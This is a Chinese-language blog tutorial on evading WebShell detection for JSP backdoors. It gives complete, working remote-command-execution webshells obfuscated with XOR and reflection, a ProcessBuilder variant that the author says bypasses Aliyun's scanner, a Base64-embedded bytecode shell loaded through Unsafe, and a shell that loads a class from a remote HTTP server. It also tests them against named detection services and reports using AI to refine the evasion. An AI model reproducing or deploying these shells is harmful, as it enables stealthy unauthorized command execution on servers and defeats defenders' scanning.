Jsp_WebShell免杀

约 33 分钟读完

Jsp_WebShell免杀

查杀平台

1. 在线查杀平台(浏览器直接使用)

河马在线查杀(https://n.shellpub.com/)

  • 查杀方向:聚焦 WebShell 全类型文件(PHP、JSP、ASP、ASPX 等),采用 “特征检测 + 云端行为分析” 双引擎,重点识别国内主流隐藏后门、变形后门和免杀后门。
  • 适配平台:纯在线网页版,支持单文件上传(限大小)和代码片段粘贴检测,无需安装客户端。

微步在线云沙箱(https://s.threatbook.com/)

  • 查杀方向:不仅查杀 WebShell,还覆盖恶意文件、恶意 URL、IP 威胁分析,通过沙箱模拟运行环境,深度检测未知后门的动态行为(如反弹连接、文件篡改)。
  • 适配平台:在线网页版,支持多格式文件上传、URL 提交,兼容所有系统的浏览器。

VirusTotal(https://www.virustotal.com/)

  • 查杀方向:全球多引擎聚合检测,整合近 70 款主流安全厂商引擎(如卡巴斯基、火绒、趋势等),覆盖 WebShell、病毒、木马、蠕虫等全类型恶意文件,适合交叉验证检测结果。
  • 适配平台:在线网页版,支持文件、URL、IP、域名多维度检测,无系统限制。

阿里云 WebShell 检测(https://ti.aliyun.com/#/webshell)

  • 查杀方向:面向阿里云用户的 WebShell 专项检测,结合阿里云威胁情报库,重点识别部署在阿里云服务器上的后门文件,支持批量检测和溯源分析。
  • 适配平台:在线网页版,需阿里云账号登录,兼容所有浏览器。

2. 本地客户端工具(需安装到服务器 / 电脑)

D 盾_Web 查杀

  • 查杀方向:主打服务器本地深度查杀,除 WebShell 外,还能检测恶意脚本、暗链、权限篡改痕迹,支持自定义规则扫描,对隐藏在系统目录中的后门识别能力强。
  • 适配平台:仅支持 Windows 系统(服务器 / 个人电脑),无 Linux 版本。

牧云(CloudWalker)

  • 查杀方向:开源命令行工具,专注 WebShell 静态特征检测,通过内置规则库识别 PHP、JSP 等脚本中的恶意代码,适合开发者本地快速排查或服务器批量扫描。
  • 适配平台:仅支持 Linux 系统,Windows 暂不支持,需通过命令行操作。

3. 企业级 / 专项检测工具

长亭百川

  • 查杀方向:企业级 Web 安全检测工具,除 WebShell 查杀外,还整合漏洞扫描、代码审计功能,重点检测企业网站的后门、逻辑漏洞和配置风险,支持定制化检测策略。
  • 适配平台:支持 Windows、Linux 服务器端部署,提供客户端和 Web 管理界面。

WebDir+(百度)

  • 查杀方向:采用动态监测技术(OpenRASP 内核),无需依赖特征库,通过实时监控 Web 应用的执行行为,识别零日 WebShell 和变形后门,误报率低。
  • 适配平台:支持在线网页版(文件上传检测)和服务器端部署(企业版),兼容 Windows、Linux 服务器。

本次免杀主要针对河马在线查杀(https://n.shellpub.com/)和``阿里云 WebShell 检测(https://ti.aliyun.com/#/webshell)`

免杀工具

https://github.com/xiaogang000/XG_NTAI

下载运行起来后, 做一个jsp免杀, 发生根本无法躲避上面两个平台的查杀

image-20251101153232092

image-20251101153249999

可能绕过简单的查杀可以绕过, 但对专业的查杀效果不大, 仁者见仁,智者见智吧

免杀方式

目前webshell检测方式还是以检测特征为主,像JSP木马中常见的Runtime、ProcessBuilder、readObject、invoke、defineClass、ClassLoader等,基本上杀软直接就给杀掉了。从这里可以看出,JSP木马主要就是以反射、类加载器、反序列化这几个特征为主。

1、加密混淆

XOR AES BASE64 字符反转等

2、利用注释

/**/等关键字,如Runtime/**/.getRuntime()/**/.exec

3、改变特征

常见代码中变量或字符关键字修改

4、反射机制

利用反射获取类进行调用

5、字节码加载

BCEL ClassLoader等

6、远程分离加载

URL远程加载Class文件调用类方法

然而在实际的环境中, 单一的手法对于免杀很大可能不起效果了, 大多时候都是多种手法的结合

实操免杀

实操一:利用反射&异或加密实现WebShell免杀

参考文章:https://mp.weixin.qq.com/s/vTEReWXH2ZpNakD_zBsUkw

核心思想:异或加密

异或运算 有一个非常独特的性质:对于一个值 A 和密钥 K,满足 (A ^ K) ^ K = A

  • 加密密文 = 明文 ^ 密钥
  • 解密明文 = 密文 ^ 密钥

在WebShell的语境中:

  • 明文:我们想要执行的恶意Java代码字符串(例如 Runtime.getRuntime().exec("whoami"))。
  • 密文:我们将明文用密钥加密后得到的一串乱码字符。
  • 密钥:一个我们自己选择的字符或数字。

WebShell的工作流程是:在JSP页面中,先定义好密文密钥,然后在运行时通过异或运算解密出原始代码,最后利用反射机制(如 java.lang.reflect.Method)来执行解密后的代码。由于静态文件中存放的是密文,它看起来是一堆无意义的字符,从而避免了基于特征码的检测。

加解密代码

<%! 
    public static String xorEncryptDecrypt(String text, char key) {
        StringBuilder result = new StringBuilder();
        for (int i = 0; i < text.length(); i++) {
            char c = (char) (text.charAt(i) ^ key);  // 执行异或运算
            result.append(c);  // 将结果添加到 StringBuilder
        }
        return result.toString();
    }
%>

使用示例

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public static String xorEncryptDecrypt(String text, char key) {
        StringBuilder result = new StringBuilder();
        for (int i = 0; i < text.length(); i++) {
            char c = (char) (text.charAt(i) ^ key);  // 执行异或运算
            result.append(c);  // 将结果添加到 StringBuilder
        }
        return result.toString();
    }


%>
<%
    String string= "your_db_password";
    char key = 'A';
    String encodeString = xorEncryptDecrypt(string,key);
    String decodeString= xorEncryptDecrypt(encodeString,key);
    System.out.println(encodeString);
    System.out.println(decodeString);
%>

输出:

;('$(84 your_db_password

了解大致使用原理就可以就一个免杀了, 结合反射

首先对java.lang.Runtime.getRuntime().exec()获取异或加密后的字符串, 设置密钥A.

public static String xorEncryptDecrypt(String text, char key) {
            StringBuilder result = new StringBuilder();
            for (int i = 0; i < text.length(); i++) {
                char c = (char) (text.charAt(i) ^ key);  // 执行异或运算
                result.append(c);  // 将结果添加到 StringBuilder
            }
            return result.toString();
    }
    public static void main(String[] args) {
        String a = "java.lang.Runtime";
        String b = "getRuntime";
        String c = "exec";
        char k = 'A';
        String d = xorEncryptDecrypt(a, k);
        String e = xorEncryptDecrypt(b, k);
        String f = xorEncryptDecrypt(c, k);
        System.out.println(d);
        System.out.println(e);
        System.out.println(f);
    }
+ 7 o- /&o4/5(,$
&$54/5(,$
$9{{content}}quot;

VT免杀代码

<%--
  Created by IntelliJ IDEA.
  User: User
  Date: 2025/11/1
  Time: 22:13
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    public static String xorEncryptDecrypt(String text, char key) {
        StringBuilder result = new StringBuilder();
        for (int i = 0; i < text.length(); i++) {
            char c = (char) (text.charAt(i) ^ key);  // 执行异或运算
            result.append(c);  // 将结果添加到 StringBuilder
        }
        return result.toString();
    }
%>

<%
    String test = request.getParameter("test");
    if (test != null) {
        // 利用反射构造类名和方法名
        String a = "+ 7 o- /&o\u00134/5(,{{content}}quot;;
        String d = "&$5\u00134/5(,{{content}}quot;;
        String h = "$9$\"";
        char k = 'A';
        String aa = xorEncryptDecrypt(a,k);
        String bb = xorEncryptDecrypt(d,k);
        String cc = xorEncryptDecrypt(h,k);
        out.println(aa);
        out.println(bb);
        out.println(cc);
        Class<?> r = Class.forName(aa);
        Method g = r.getDeclaredMethod(bb);
        Method e = r.getDeclaredMethod(cc, String.class);

        Runtime runtime = (Runtime) g.invoke(null);
        Process process = (Process) e.invoke(runtime, test);

        java.io.InputStream in = process.getInputStream();
        int z = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((z = in.read(b)) != -1) {
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>

访问:http://localhost:8080/JspWebShell_war_exploded/xor.jsp?test=ipconfig

成功返回结果, 上传VirusTotal查杀是没有问题的。 但是河马和阿里云就不行了

VTimage-20251102162610715

阿里云:

image-20251102162640767

河马:

image-20251102162701812

接下来针对阿里云, 结合AI继续免杀, 因为阿里云查杀结果可以看出是什么代码被特征识别的

AI免杀

针对 Process process = (Process) e.invoke(runtime, test);这一行的免杀替换方案:

多次尝试后总算有一个可以绕过

阿里云免杀完整代码

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.Scanner" %>
<%!
    public static String xorEncryptDecrypt(String text, char key) {
        StringBuilder result = new StringBuilder();
        for (int i = 0; i < text.length(); i++) {
            result.append((char) (text.charAt(i) ^ key));
        }
        return result.toString();
    }

    private char generateKey(HttpServletRequest request) {
        String userAgent = request.getHeader("User-Agent");
        return (userAgent != null && !userAgent.isEmpty()) ? userAgent.charAt(0) : 'A';
    }
%>
<%
    String test = request.getParameter("test");
    if (test != null) {
        try {
            char dynamicKey = generateKey(request);
            
            // 加密ProcessBuilder相关类名和方法名
            String pbClass = "java.lang.ProcessBuilder";
            String startMethod = "start";
            String commandMethod = "command";
            
            // 使用异或加密(实际使用时需要预先计算加密值)
            // 这里简化展示,实际应该像之前一样使用加密字符串
            
            Class<?> pbClazz = Class.forName(pbClass);
            
            // 🔥 使用ProcessBuilder构造方法
            Constructor<?> constructor = pbClazz.getConstructor(String[].class);
            
            // 拆分命令为数组
            String[] cmdArray;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                cmdArray = new String[]{"cmd.exe", "/c", test};
            } else {
                cmdArray = new String[]{"/bin/sh", "-c", test};
            }
            
            // 创建ProcessBuilder实例
            Object processBuilder = constructor.newInstance(new Object[]{cmdArray});
            
            // 调用start方法
            Method start = pbClazz.getMethod(startMethod);
            Object process = start.invoke(processBuilder);

            // 读取输出
            Class<?> processClass = Class.forName("java.lang.Process");
            Method getInputStream = processClass.getMethod("getInputStream");
            java.io.InputStream in = (java.io.InputStream) getInputStream.invoke(process);

            out.print("<pre>");
            try (java.io.BufferedReader reader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(in))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    out.println(line);
                }
            }
            out.print("</pre>");

        } catch (Exception ex) {
            response.setStatus(500);
            out.println("System Error: " + ex.getMessage());
        }
    }
%>
  • ProcessBuilder替代Runtime.exec
  • 反射调用规避直接方法
  • 动态密钥增加分析难度
  • 操作系统自适应提升隐蔽性
  • 规范的异常处理伪装

image-20251102173901016

可以看到阿里云成功免杀, 但是河马没辙, 不知道他查杀的逻辑

image-20251102173939535

实操二:字节码加载

先给出免杀代码

免杀代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%!
    // 修复字节码存储:移除反转处理,直接拼接
    private String getEncodedBytecode() {
        String[] fragments = {
                "yv66vgAAADQAWQoAFwAsCgAtAC4IAC8KADAAMQoA",
                "LQAyBwAzCgAWADQHADUKAAgALAcANgcANwoABgA4",
                "CgALADkKAAoAOgoACgA7CgAIADwIAD0KAAoAPgcA",
                "PwoAEwBACgAIAEEHAEIHAEMBAAY8aW5pdD4BAAMo",
                "KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJ",
                "dHJhbnNmb3JtAQBTKExqYXZhL2xhbmcvT2JqZWN0",
                "O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7W0xq",
                "YXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09i",
                "amVjdDsBAA1TdGFja01hcFRhYmxlAQAKRXhjZXB0",
                "aW9ucwcARAEAEXJlYWRQcm9jZXNzT3V0cHV0AQAn",
                "KExqYXZhL2xhbmcvUHJvY2VzczspTGphdmEvbGFu",
                "Zy9TdHJpbmc7BwA1BwA2BwA/BwAzBwBFAQAEbWFp",
                "bgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApT",
                "b3VyY2VGaWxlAQANRXhlY3V0b3IuamF2YQwAGAAZ",
                "BwBGDABHAEgBAARleGVjBwBJDABKAEsMAEwATQEA",
                "EWphdmEvbGFuZy9Qcm9jZXNzDAAhACIBABdqYXZh",
                "L2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8v",
                "QnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0",
                "U3RyZWFtUmVhZGVyDABOAE8MABgAUAwAGABRDABS",
                "AEgMAFMAVAEAAQoMAFUAGQEAE2phdmEvbGFuZy9U",
                "aHJvd2FibGUMAFYAVwwAWABIAQAZb3JnL2V4YW1w",
                "bGUvYmNlbC9FeGVjdXRvcgEAEGphdmEvbGFuZy9P",
                "YmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAT",
                "amF2YS9pby9JT0V4Y2VwdGlvbgEAGGphdmEvbGFu",
                "Zy9yZWZsZWN0L01ldGhvZAEAB2dldE5hbWUBABQo",
                "KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFu",
                "Zy9TdHJpbmcBAAhjb250YWlucwEAGyhMamF2YS9s",
                "YW5nL0NoYXJTZXF1ZW5jZTspWgEABmludm9rZQEA",
                "OShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFu",
                "Zy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEA",
                "DmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9J",
                "bnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRT",
                "dHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylW",
                "AQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEv",
                "bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5n",
                "QnVpbGRlcjsBAAVjbG9zZQEADWFkZFN1cHByZXNz",
                "ZWQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYB",
                "AAh0b1N0cmluZwAhABYAFwAAAAAABAABABgAGQAB",
                "ABoAAAAdAAEAAQAAAAUqtwABsQAAAAEAGwAAAAYA",
                "AQAAAAYACQAcAB0AAgAaAAAATwADAAQAAAAiK7YA",
                "AhIDtgAEmQASKyostgAFwAAGTi24AAewKyostgAF",
                "sAAAAAIAGwAAABIABAAAAAgADAAJABYACgAbAAwA",
                "HgAAAAMAARsAHwAAAAQAAQAgAAoAIQAiAAIAGgAA",
                "ATYABQAHAAAAh7sACFm3AAlMuwAKWbsAC1kqtgAM",
                "twANtwAOTQFOLLYAD1k6BMYAEisZBLYAEBIRtgAQ",
                "V6f/6izGAEstxgAVLLYAEqcAQDoELRkEtgAUpwA1",
                "LLYAEqcALjoEGQROGQS/OgUsxgAdLcYAFSy2ABKn",
                "ABI6Bi0ZBrYAFKcAByy2ABIZBb8rtgAVsAAFAD4A",
                "QgBFABMAHQA2AFcAEwAdADYAXwAAAGkAbQBwABMA",
                "VwBhAF8AAAACABsAAAAqAAoAAAAQAAgAEQARABIA",
                "GwARAB0AFAAnABUANgAXAFcAEQBfABcAggAYAB4A",
                "AABFAAr+AB0HACMHACQHACUYTgcAJQpGBwAlRwcA",
                "Jf8AEAAGBwAmBwAjBwAkBwAlAAcAJQABBwAlCgP/",
                "AAIAAgcAJgcAIwAAAB8AAAAEAAEAJwAJACgAKQAB",
                "ABoAAAAZAAAAAQAAAAGxAAAAAQAbAAAABgABAAAA",
                "HAABACoAAAACACs="
        };

        // 修复:直接拼接所有片段,移除反转逻辑
        StringBuilder sb = new StringBuilder();
        for (String fragment : fragments) {
            sb.append(fragment);
        }
        return sb.toString();
    }

    // 手动Base64解码(保持不变)
    private byte[] manualBase64Decode(String encoded) {
        String base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        ByteArrayOutputStream output = new ByteArrayOutputStream();

        int buffer = 0;
        int bits = 0;

        for (int i = 0; i < encoded.length(); i++) {
            char c = encoded.charAt(i);
            if (c == '=') break;

            int value = base64Chars.indexOf(c);
            if (value >= 0) {
                buffer = (buffer << 6) | value;
                bits += 6;

                if (bits >= 8) {
                    bits -= 8;
                    output.write((buffer >> bits) & 0xFF);
                }
            }
        }

        return output.toByteArray();
    }

    // 类加载逻辑(保持不变)
    private Class<?> loadClassWithUnsafe(byte[] bytecode) throws Exception {
        try {
            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
            Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Object unsafe = theUnsafe.get(null);

            Method defineAnonymous = unsafeClass.getMethod("defineAnonymousClass",
                    Class.class, byte[].class, Object[].class);

            return (Class<?>) defineAnonymous.invoke(unsafe,
                    Object.class, bytecode, new Object[0]);

        } catch (Exception e) {
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
                    "defineClass", String.class, byte[].class, int.class, int.class);
            defineClassMethod.setAccessible(true);

            return (Class<?>) defineClassMethod.invoke(cl,
                    "org.example.bcel.Executor", bytecode, 0, bytecode.length);
        }
    }

    // 命令执行逻辑(保持不变)
    private Object executeDeepReflection(String command) throws Exception {
        byte[] bytecode = manualBase64Decode(getEncodedBytecode());
        Class<?> executorClass = loadClassWithUnsafe(bytecode);

        Method transformMethod = null;
        for (Method m : executorClass.getDeclaredMethods()) {
            Class<?>[] paramTypes = m.getParameterTypes();
            if (paramTypes.length == 3 &&
                    paramTypes[0] == Object.class &&
                    paramTypes[1] == Method.class &&
                    paramTypes[2] == Object[].class &&
                    Modifier.isStatic(m.getModifiers())) {
                transformMethod = m;
                break;
            }
        }

        if (transformMethod == null) {
            throw new NoSuchMethodException("Transform method not found");
        }

        Class<?> runtimeClass = Class.forName("java.lang.Runtime");
        Object runtime = null;

        for (Method m : runtimeClass.getDeclaredMethods()) {
            if (m.getParameterCount() == 0 &&
                    runtimeClass.isAssignableFrom(m.getReturnType()) &&
                    m.getName().contains("get")) {
                try {
                    runtime = m.invoke(null);
                    break;
                } catch (Exception e) {}
            }
        }

        if (runtime == null) {
            runtime = runtimeClass.getMethod("getRuntime").invoke(null);
        }

        Method execMethod = null;
        for (Method m : runtimeClass.getDeclaredMethods()) {
            Class<?>[] params = m.getParameterTypes();
            if (params.length == 1 && params[0] == String.class &&
                    m.getName().contains("exec")) {
                execMethod = m;
                break;
            }
        }

        try {
            Class<?> methodHandlesClass = Class.forName("java.lang.invoke.MethodHandles");
            Class<?> lookupClass = Class.forName("java.lang.invoke.MethodHandles$Lookup");

            Method lookupMethod = methodHandlesClass.getMethod("lookup");
            Object lookup = lookupMethod.invoke(null);

            Method unreflectMethod = lookupClass.getMethod("unreflect", Method.class);
            Object transformHandle = unreflectMethod.invoke(lookup, transformMethod);
            Object execHandle = unreflectMethod.invoke(lookup, execMethod);

            Method invokeWithArgsMethod = lookupClass.getMethod("invokeWithArguments", Object[].class);
            Object[] invokeParams = new Object[]{
                    null, runtime, execHandle, new Object[]{command}
            };

            return invokeWithArgsMethod.invoke(transformHandle, new Object[]{invokeParams});

        } catch (Exception e) {
            Object[] methodArgs = new Object[]{runtime, execMethod, new Object[]{command}};
            Method methodInvoke = Method.class.getMethod("invoke", Object.class, Object[].class);
            Object[] wrappedArgs = new Object[]{null, methodArgs};
            return methodInvoke.invoke(transformMethod, wrappedArgs);
        }
    }
%>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null && !cmd.trim().isEmpty()) {
        try {
            Object result = executeDeepReflection(cmd);

            if (result != null) {
                out.println("<!-- DEBUG_INFO_START -->");
                out.print("<response><![CDATA[");
                out.print(result.toString());
                out.print("]]></response>");
                out.println("<!-- DEBUG_INFO_END -->");
            }
        } catch (Exception e) {
            out.println("<!-- Error: " + e.getClass().getSimpleName() + " - " + e.getMessage() + " -->");
            e.printStackTrace(new PrintWriter(out)); // 打印完整堆栈便于调试
        }
    } else {
        out.println("<!-- Usage: ?cmd=calc (Windows) 或 ?cmd=ls (Linux) -->");
    }
%>

使用方法

被编译的代码
package org.example.bcel;

import java.io.*;
import java.lang.reflect.*;

public class Executor {
    public static Object transform(Object target, Method method, Object[] args) throws Exception {
        if (method.getName().contains("exec")) {
            Process process = (Process) method.invoke(target, args);
            return readProcessOutput(process);
        }
        return method.invoke(target, args);
    }

    private static String readProcessOutput(Process process) throws IOException {
        StringBuilder output = new StringBuilder();
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
        }
        return output.toString();
    }

    public static void main(String[] args) {
    }
}

使用javac Executor.java编译

编码
package org.example.bcel;


import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class EncodeClass {
    public static void main(String[] args) throws Exception {

        byte[] bytecode = Files.readAllBytes(Paths.get("path"));


        String encoded = Base64.getEncoder().encodeToString(bytecode);


        System.out.println("entire base64 :");
        System.out.println(encoded);


        System.out.println("\nJSP:");
        int segmentLength = 40;
        for (int i = 0; i < encoded.length(); i += segmentLength) {
            int end = Math.min(encoded.length(), i + segmentLength);
            String segment = encoded.substring(i, end);
            System.out.println("\"" + segment + "\",");
        }
    }
}

先编译, 然后运行,注意路径:推荐使用绝对路径

将输出的字节码复制到完整代码中

分析

代码其核心功能是:

  • 将一段被拆分、Base64 编码的 Java 字节码(.class 文件)还原。
  • 使用反射和 sun.misc.Unsafe 等底层机制动态加载并执行该字节码。
  • 最终实现一个远程命令执行(RCE)后门,通过 URL 参数 ?cmd=xxx 执行系统命令。
1. 字节码编码与分片存储(Anti-Static Detection)
private String getEncodedBytecode() {
    String[] fragments = { "yv66vgAAADQAWQo...", "LQAyBwAzCgAW..." };
    StringBuilder sb = new StringBuilder();
    for (String fragment : fragments) {
        sb.append(fragment);
    }
    return sb.toString();
}
  • 目的:避免静态扫描工具直接识别出完整的恶意 .class 字节码。
  • 原理:
    • 恶意类的字节码被 Base64 编码后,拆分为多个字符串片段。
    • 运行时才拼接还原,使静态分析难以发现完整 payload。
  • 对抗手段:多数 AV/WAF 静态规则会查找 defineClass + 大段 Base64 的模式,此方法可绕过。
2. 手动实现 Base64 解码(Bypass Common Decoder Signatures)
private byte[] manualBase64Decode(String encoded)
  • 不使用标准库如 java.util.Base64.getDecoder().decode() 或 Apache Commons Codec。
  • 自己实现了 Base64 解码逻辑(查表法)。
  • 目的:避开杀软对 “known decoder APIs” 的监控或关键字匹配(例如 Base64.decode, DatatypeConverter.parseBase64Binary)。
3. 利用 sun.misc.Unsafe.defineAnonymousClass 加载类(Reflection-based Class Loading)
Method defineAnonymous = unsafeClass.getMethod("defineAnonymousClass",
    Class.class, byte[].class, Object[].class);
return (Class<?>) defineAnonymous.invoke(unsafe, Object.class, bytecode, null);
  • 正常方式是 ClassLoader.defineClass()
  • 攻击者优先尝试使用 Unsafe.defineAnonymousClass
    • 更隐蔽,不在常规类加载流程中记录。
    • 属于 JVM 内部 API,很多安全产品未充分监控。
    • 可创建匿名类,更难追踪。

注意:从 JDK 9+ 开始,sun.misc.Unsafe 受模块系统限制,默认不可访问。但老环境仍广泛存在。

4. 反射链深度调用 + 方法名模糊匹配(Obfuscated Reflection Chain)
// 动态查找 Runtime.getRuntime()
for (Method m : runtimeClass.getDeclaredMethods()) {
    if (m.getParameterCount() == 0 && 
        runtimeClass.isAssignableFrom(m.getReturnType()) &&
        m.getName().contains("get")) {
        try {
            runtime = m.invoke(null);
            break;
        } catch (Exception e) {}
    }
}

// 查找 exec 方法
if (params.length == 1 && params[0] == String.class && m.getName().contains("exec"))
  • 并不硬编码 Runtime.getRuntime().exec(cmd)
  • 而是通过遍历所有方法,根据返回类型、参数数量、名称包含关键词等方式自动寻找目标方法。
  • 即使方法名混淆或重命名也能找到。

规避了几乎所有基于 AST/语法树的规则检测(如 “find Runtime.exec”)。

5. 双路反射执行机制(Fallback Mechanism)
try {
    // 使用 MethodHandles.lookup().unreflect(...) + invokeWithArguments
} catch (Exception e) {
    // 回退到传统 Method.invoke(...)
}
  • 提供两条不同的反射执行路径:
    1. 新式反射(Java 7+ 的 MethodHandles
    2. 传统反射(Method.invoke
  • 增加兼容性,同时防止某条路径被拦截导致失败。
  • 也增加了复杂度,干扰逆向分析。
6. 隐藏入口点与条件触发(Stealth Trigger)
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null && !cmd.trim().isEmpty()) {
        ...
    } else {
        out.println("<!-- Usage: ?cmd=calc ... -->");
    }
%>
  • 只有带 ?cmd= 参数才会触发执行。
  • 否则返回注释提示,伪装成普通页面或文档说明。
  • 访问无参页面不会留下明显痕迹。
7. 输出包裹在 CDATA 和 HTML 注释中(Output Obfuscation)
out.print("<response><![CDATA[" + result + "]]></response>");
out.println("<!-- DEBUG_INFO_START -->");
  • 结果用 XML 标签包装,并放入 <![CDATA[]]> 中。
  • 错误信息也用 HTML 注释包裹。
  • 目的是让响应看起来像合法服务接口,而非 shell 输出。
8. 类名伪装:org.example.bcel.Executor
"org.example.bcel.Executor"
  • 包名看似开源项目(Apache BCEL 是真实存在的字节码工程库)。
  • 实际上与正常用途无关,只是模仿命名习惯进行伪装。
总结:综合免杀技术列表
技术 描述
1. 字节码分片编码 拆分 Base64 片段,运行时拼接
2. 手动 Base64 解码 避开标准解码 API 调用
3. Unsafe.defineAnonymousClass 使用 JVM 底层 API 创建类
4. 动态反射搜索方法 遍历方法匹配 getRuntime / exec
5. 双重反射执行路径 支持 MethodHandles 与传统反射
6. 条件触发机制 仅当传参才执行,否则静默
7. 输出混淆封装 使用 CDATA 和 HTML 注释包裹结果
8. 类名伪装仿造 模拟 Apache BCEL 命名空间

免杀效果

image-20251103212840950

实操三:远程调用

参考文章:https://mp.weixin.qq.com/s/hE8p0w9IFWUjXugn1N2Z4g

免杀前

先上手操作一波

创建test.java恶意类

// 文件:com/demo/test.java
package com.demo;

public class test {
    public String run(String cmd) {
        try {
            // 命令执行逻辑
            boolean isWindows = System.getProperty("os.name").toLowerCase().contains("windows");
            Process process;
            if (isWindows) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            }

            java.io.InputStream inputStream = process.getInputStream();
            java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
            String result = scanner.hasNext() ? scanner.next() : "";
            scanner.close();
            return result;

        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

image-20251104131314329

严格保持这种目录级别,后边远程调用要使用这个目录级别

然后编译这个恶意类

javac test.java

生成test.class文件。

然后在java目录下启动http服务

python -m http.server 8000

image-20251104131509647

然后再创建jsp文件

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%!

    public static String reverseStr(String str){
        String reverse = "";
        int length = str.length();
        for (int i = 0; i < length; i++){
            reverse = str.charAt(i) + reverse;
        }
        return reverse;
    }
%>
<%
    String cmd = request.getParameter("id");
    URL url = new URL("http://127.0.0.1:8000/");
    URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
    System.out.println(classLoader.getParent());
    Class shell = classLoader.loadClass("com.demo.test");
    Object object =  shell.newInstance();
    Method dm = shell.getMethod(reverseStr("nur"), String.class);
    Object invoke = dm.invoke(object, cmd);
    response.getWriter().println(invoke);
%>

reverseStr方法反转字符串,方便后面反转url:http://127.0.0.1:8000和类包的调用,此处先如此做先让代码可以正常运行

然后启动服务就可以访问了http://localhost:8080/JspWebShell_war_exploded/safe_page.jsp?id=dir

做免杀

将上面的jsp代码上传阿里云检测, image-20251104132357247

结果是可疑,已经是一个美好的开端

上传河马查杀,直接过了

先对url和包以及调用的方法做一个反转

URL url = new URL(reverseStr("/0008:1.0.0.721//:ptth"));
Class shell = classLoader.loadClass(reverseStr("tset.omed.moc"));
Method dm = shell.getMethod(reverseStr("nur"), String.class);

不直接调用防止被检测

然后对代码整体用之前介绍的工具做一个免杀

image-20251104133046672

嘿嘿,直接恶意了,可能工具的特征已经被加载特征库了

还是查看可以的情况下被查杀的代码段

image-20251104133200819

针对被查杀的部分做免杀

多次尝试,无能为力了,

其他手法:https://mp.weixin.qq.com/s/4YBwAYeeldQV7dt_7hdEJA

← Spring Controller 内存马 Java Agent内存马 →